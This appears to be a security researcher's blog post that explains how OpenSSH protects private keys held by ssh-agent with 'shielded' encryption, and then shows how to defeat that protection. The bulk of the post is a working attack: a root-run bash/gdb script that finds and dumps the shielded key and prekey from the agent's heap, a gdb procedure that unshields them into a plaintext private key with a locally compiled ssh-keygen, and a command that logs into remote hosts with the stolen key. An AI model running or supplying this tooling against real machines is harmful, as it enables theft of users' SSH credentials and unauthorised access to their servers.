OpenSSH ssh-agent Shielded Private Key Extraction (x86_64 Linux)

This is just a quick blog post of some notes I thought I’d share.

While most of you guys were furiously grep-ing TermService memory for clear-text passwords 🙂  I found myself searching for plain-text private keys in a ssh-agent process memory on a Linux box. Last time I did something similar was definitely before June 2019, when Shielded Private Keys were introduced in OpenSSH, therefore the tools I have available don’t work anymore.

Shielded Private Keys were introduced in order to prevent Spectre/Meltdown attacks against ssh keys held in memory by ssh-agent. Basically when you ssh-add a key to ssh-agent, the key is encrypted (shielded) with a symmetric key derived from a random 16KB pre_key.

Identities managed by ssh-agent are represented by a (list of) Identity struct which contains a reference to the key comment and a pointer to the associated key; the new shielded key and its pre_key are both referenced within this sshkey struct by the shielded_private and shield_prekey pointers.

So if we look in the heap for XREFs to the address of the key comment we should be able to find the sshkey struct; also knowing its last field is always set to 0x4000 (16KB) which is the fixed shield_prekey_len helps in identifying the sshkey struct.

To quickly prove the above, I wrote the following bash/gdb script that dumps the private shielded key and its pre_key:

#!/bin/bash

GDB=/usr/bin/gdb

if [[ $# -lt 2 ]]; then
        echo "Usage: ./script [pid] [key comment]" >&2
        exit 2
fi

PID=$1
COMMENT=$2
COMMENT_LEN=${#COMMENT}
HEAP=$(cat /proc/$PID/maps | grep heap)
#echo $HEAP
START=0x${HEAP:0:12}
END=0x${HEAP:13:12}
COMMADDR=$($GDB -p $PID -batch -ex "find $START, $END, {char[$COMMENT_LEN]}\"$COMMENT\"" 2>/dev/null | egrep ^0[xX][0-9a-fA-F]{12}$)
echo "[ - ] Searching for key comment string in memory -> Here's what I found:"
echo "$COMMADDR"
echo "[ - ] Now searching for XREFs to the comment addresses we found -> looking for heap addresses"
for i in $COMMADDR; do
        TEMPF="\x${i:12:2}\x${i:10:2}\x${i:8:2}\x${i:6:2}\x${i:4:2}\x${i:2:2}"
        TEMPPTR=$($GDB -p $PID -batch -ex "find $START, $END, {char[6]}\"$TEMPF\"" 2>/dev/null | egrep ^0[xX][0-9a-fA-F]{12}$)
        for j in $TEMPPTR; do
        VAR2=$(($j - 0x8)) # Identity->j = char *comment; Identity->(j - 0x8) = struct sshkey *key;
                VAR=$($GDB -p $PID -batch -ex "x/za $VAR2" 2>/dev/null | egrep ^0[xX][a-f0-9A-F]{12}\:) 
        VAR3=${VAR:15}
        echo "[ o ] XREF $j contains $VAR3 let's see if it is in the heap"
        if (($VAR3 > $START))
        then
            if (($VAR3 < $END))
            then
                echo "[ + ] Found a XREF in the heap $VAR3 -> searching for a sshkey struct at this address"
                KEYPOS=$(($VAR3 + 0xa0))
                KEYLEN=$($GDB -p $PID -batch -ex "x/d $KEYPOS" 2>/dev/null | egrep ^0[xX][a-f0-9A-F]{12}\:)
                echo "SHIELD_PRIVATE_LEN ${KEYLEN:15}"
                KEYLEN1=${KEYLEN:15}
                if (($KEYLEN1 != 16384)) 
                then 
                    echo "[ - ] Key not found -> now onto the next ptr"
                    continue
                else	
                    echo "[ + ] Found the shielded private key -> now dumping it"
                    SHPOS=$(($VAR3 + 0x88))
                    SPPOS=$(($VAR3 + 0x98))
                    PKEYLENPOS=$(($VAR3 + 0x90))
                    SHIELDED_PRIVATE=$($GDB -p $PID -batch -ex "x/za $SHPOS" 2>/dev/null | egrep ^0[xX][a-f0-9A-F]{12}\:)
                    SHIELDED_PREKEY=$($GDB -p $PID -batch -ex "x/za $SPPOS" 2>/dev/null | egrep ^0[xX][a-f0-9A-F]{12}\:)
                    PKEYLEN=$($GDB -p $PID -batch -ex "x/za $PKEYLENPOS"  2>/dev/null | egrep ^0[xX][a-f0-9A-F]{12}\:)
                    printf "SHIELDED_PRIVATE %s\r\n" ${SHIELDED_PRIVATE:15}
                    printf "SHIELDED_LENGTH %d\r\n" ${PKEYLEN:15}
                    printf "SHIELD_PREKEY %s\r\n" ${SHIELDED_PREKEY:15}
                    printf "SHIELD_PREKEY_LEN 16384\r\n"
                    exec $GDB -p $PID <<EOF
set \$fd = fopen("/tmp/shielded_private", "w")
call fwrite(${SHIELDED_PRIVATE:15}, 1, ${PKEYLEN:15}, \$fd)
call fflush(\$fd)
call fclose(\$fd)
set \$fd = fopen("/tmp/shield_prekey", "w")
call fwrite(${SHIELDED_PREKEY:15}, 1, 16384, \$fd)
call fflush(\$fd)
call fclose(\$fd)
detach
quit
EOF
                fi
            fi
        fi
        done
done

Run it as the root user as follows:

# ps auxw | grep ssh-agent # find ssh-agent-pid
# lsof -p ssh-agent-pid | grep unix # find target-unix-socket-path
# export SSH_AUTH_SOCK=target-unix-socket-path
# ssh-add -l # find key@comment
# ./ospkd.sh ssh-agent-pid key@comment

In action:

Note: this also works if the ssh-agent is locked (ssh-add -x).

To avoid messing with the process memory as my script does, since gdb is available anyway a more convenient approach is to use gcore to dump the process memory which we can later parse with Ghidra; attached below there is a very simple Ghidra script which performs the same thing on a ssh-agent gcore file.

$ analyzeHeadless ~/project.rep project -import core.2225 -scriptPath ~/ghidra_scripts -postScript ospke.java key@comment /tmp

Now that we have the shielded private key and its pre key, how do we unshield it? After a couple attempts I realized that I needed only two functions and, guess what, ssh-keygen is the only binary that implements both. The two functions are sshkey_unshield_private() and sshkey_save_private() (to be invoked with a blank password). So the quickest solution I came up with was compiling ssh-keygen with symbols on my local machine:

$ tar xvfz openssh-8.6p1.tar.gz
$ cd openssh-8.6p1
$ ./configure --with-audit=debug
$ make ssh-keygen
$ gdb ./ssh-keygen

Then pasted the following into gdb:

b main
b sshkey_free
r
set $miak = (struct sshkey *)sshkey_new(0)
set $shielded_private = (unsigned char *)malloc(1392)
set $shield_prekey = (unsigned char *)malloc(16384)
set $fd = fopen("/tmp/shielded_private", "r")
call fread($shielded_private, 1, 1392, $fd)
call fclose($fd)
set $fd = fopen("/tmp/shield_prekey", "r")
call fread($shield_prekey, 1, 16384, $fd)
call fclose($fd)
set $miak->shielded_private=$shielded_private
set $miak->shield_prekey=$shield_prekey
set $miak->shielded_len=1392
set $miak->shield_prekey_len=16384
call sshkey_unshield_private($miak)
bt
f 1
x *kp
call sshkey_save_private(*kp, "/tmp/plaintext_private_key", "", "comment", 0, "\x00", 0)
k
q

Now we can log into remote hosts using the retrieved key:

$ ssh -i /tmp/plaintext_private_key user@host

The reason why we break at sshkey_free() is because the gdb malloc’d sshkey_struct cannot be freed by sshkey_free() (I guess, lol), it would crash before saving the unshielded key. So we invoke sshkey_save_private() before the sshkey_free() is hit.

Note: this procedure was tested only against RSA and DSA keys on Ubuntu 20.04.2 LTS. and Kali Linux 2021.2. It may require some tweaking to work on other platforms.

Download the Ghidra script here. Have fun!